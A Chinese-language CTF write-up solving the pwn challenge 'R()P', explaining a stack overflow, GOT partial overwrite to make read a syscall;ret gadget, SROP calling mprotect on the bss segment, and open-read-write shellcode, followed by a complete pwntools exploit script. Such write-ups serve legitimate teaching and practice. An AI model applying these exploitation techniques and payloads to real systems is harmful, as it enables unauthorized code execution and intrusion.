这次比赛就出了一个pwn题目,题目名称是R()P,记录一下解题过程。
解法可能是非预期,虽然我也不知道预期解是什么,但是我感觉我的做法有点离谱...
先放一下main函数的图片:
可以看到首先读入要输入的长度,如果长度大于0x100的话会重新调用main函数输入。如果是小于的话就会调用read函数向栈上读入数据,这里存在0xf0字节长度的溢出。但是没有可以用于输出的函数进行泄露,那么我想到的就是改写got表来执行其他的函数。这里因为溢出我们可以实现任意的地址写,源于下面的汇编:
我们如果返回到这里就可以看到实际上调用read函数的时候,读入的地址和读入的长度都可以通过我们溢出控制。如果我们返回到0x401155
处,那么我们就可以实现向栈上读入任意长度的内容,如果我们返回到0x40115A
处,并且配合一个这样的gadget:0x000000000040116d: mov eax, dword ptr [rsp + 0xc]; add rsp, 0x18; ret;
,就可以通过向栈上布置我们想要写入的地址到[rsp + 0xc]
处,那么我们就可以实现任意地址写。这就为我们向bss段写入数据和修改got表写奠定了基础。但是比较恶心的是我们只能修改read函数的got表来实现其他指令的调用,并且我们不知道libc的版本,这就给我们泄露地址造成了困难。一开始的思路是找到了这样的一个gadget:0x0000000000401099: mov edi, 0x404018; jmp rax;
其中0x404018
是一个bss段上的地址,然后思路就是通过gadget来近似的将read函数的真实地址的高位逼近system函数的地址,然后再这之前先通过任意地址写来改写read函数真实地址的低位地址,并且向0x404018
写入"/bin/sh"
。最终将read函数地址改为system函数地址,然后通过上面的gadget调用system("/bin/sh")来拿到shell。但是后来发现system函数的地址比read函数的地址要低,需要进行sub操作,但是没有合适的gadget来修改地址,所以这种方法显然行不通。但是有一个以外的收获,发现了可以将read函数的地址修改为一个近似于syscall;ret的gadget。思路如下:
经过实际检验发现,只要将read函数的地址最后一个字节修改为源地址+0x10,那么在调用read函数的时候,就会执行如下的汇编语句:
0x00007f69628f5990 <read+16>: 0f 05 syscall
0x00007f69628f5992 <read+18>: 48 3d 00 f0 ff ff cmp rax,0xfffffffffffff000
0x00007f69628f5998 <read+24>: 77 56 ja 0x7f69628f59f0 <read+112>
0x00007f69628f599a <read+26>: c3 ret
这段汇编实际上就是如果syscall系统调用成功,那么就会直接ret,这里实际上就是可以相当于创造了一个syscall;ret的gadget来实现系统调用。并且上面我们发现了可以控制rax寄存器的gadget,那么我们只要将read函数的末字节+0x10,那么我们就能够实现任意的系统调用。但是我们在调用execve系统调用的时候,需要控制rdi和rsi还有rdx寄存器,rdi我们可以通过上面的gadget来控制,但是jmp rax导致我们没有办法进行系统调用,也就是说通过上面的gadget控制了edi就没有办法实现系统调用,因此直接调用execve系统调用也不行,但是我们可以借助SROP来实现。我们借助SROP的方法,先通过系统调用__NR_rt_sigreturn
并借助pwntools的SigreturnFrame
工具来执行我们想要执行的系统调用,这里我们就可以调用execve("/bin/sh",0,0)来拿到shell。但是在我做题的时候,由于远程的libc版本不知道,因此修改read为syscall;ret的时候总是crash掉,因此我后来就是通过向bss段上写入shellcode,然后借助SROP来调用mprotect
给bss段提权,之后通过SROP将栈迁移到布置好的shellcode上执行就行。这样shellcode我们方便控制,不管是实现ORW还是拿shell都比较方便。但是这里还存在一个问题就是SigreturnFrame
生成的数据比较长,第一次向栈上读入的时候0x100不够直接调用SROP的,因此我们先返回到0x401155
,然后再次向栈上读入大量的数据来实现SROP。下面我们总结一下利用的过程:
首先我们第一次溢出返回到0x401155
处,然后通过ROP构造向栈上读入大量的数据。第二次向栈上读入的数据的时候,我们布置ROP实现如下功能:
1、第一次返回的时候配合0x000000000040116d: mov eax, dword ptr [rsp + 0xc]; add rsp, 0x18; ret;
gadget向bss段上读入shellcode,然后再次配合这个gadget修改read函数的地址为我们的syscall;ret
gadget,然后再次配合这个gadget来控制rax的内容为15调用__NR_rt_sigreturn
系统调用,后面跟上SigreturnFrame
生成的payload来实现mprotect
提权,然后将栈迁移到布置好shellcode的bss段上。
2、第二次发送布置好的shellocde
3、第三次发送一个字节修改read函数为syscall;ret
由于本地的read函数修改的末字节内容已知,因此我们很容易就能够打通,但是远程的libc环境未知,因此我将shellocde布置成了ORW,这样如果修改正确之后调用syscall;ret
就能够直接将flag输出。
远程修改read地址为syscall;ret
需要经过测试,我发现在ubuntu20.04也就是glibc2.31-9.9的环境下运行文件会报下面的错误:
这就说明libc的版本较高,很可能不是2.35就是2.34,然后我就去libc里面找偏移,但是测试了一圈都不对,然后在修改末字节为'\x00'的时候发现好像远程还可以输入内容,这就明远程修改后可能read函数照常执行了,也就是说远程read函数的末字节是'\x00',然后我们就一点一点试,发现远程末字节修改为'\x0f'的时候调用了syscall;ret
直接输出了flag。
exp:
from pwn import *
r = process("/home/ubuntu/pwn/题目/BUUCTF/DASCTF十月塞/pwn")
# r = remote("node4.buuoj.cn",27144)
elf = ELF("/home/ubuntu/pwn/题目/BUUCTF/DASCTF十月塞/pwn")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['terminator', '--new-tab', '-x']
def dbg(src):
gdb.attach(r,src)
pause()
src = '''
b *0x401168
'''
call_rax=0x0000000000401014
mov_eax=0x000000000040116d
read_plt=elf.plt['read']
read_got=elf.got['read']
frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = read_plt
frame.rsp = 0x404120
# dbg(src)
r.send(p32(0x100))
payload=b'a'*4+p32(0x404018)
payload=payload.ljust(0x10,b'a')
payload+=p64(0x401155)+p64(0)+p32(0)+p32(0x200)
r.sendline(payload)
pause()
payload=b'a'*4+p32(0x404018)
payload=payload.ljust(0x10,b'a')
payload+=p64(0x40115A)+p64(0)+p32(0)+p32(0x200)+p64(0)+p64(mov_eax)+p64(0)+p32(0)+p32(0x404000)+p64(0)+p64(0x40115A)+p64(0)+p32(0)+p32(0x1)+p64(0)
payload+=p64(mov_eax)+p64(0)+p32(0)+p32(15)+p64(0)+p64(read_plt)+bytes(frame)
r.sendline(payload)
pause()
code = shellcraft.open("./flag")
code += shellcraft.read('rax','rsp',0x50)
code += shellcraft.write(1, 'rsp', 0x50)
code += shellcraft.exit(0)
shellcode=asm(code)
payload=b'a'*0x108+p64(0x404128)+shellcode
r.sendline(payload)
pause()
r.send(p8(0xf))
#本地是glibc2.35-3.1的时候为r.send(p8(0x90))
r.interactive()
贴一张远程拿到flag的图片: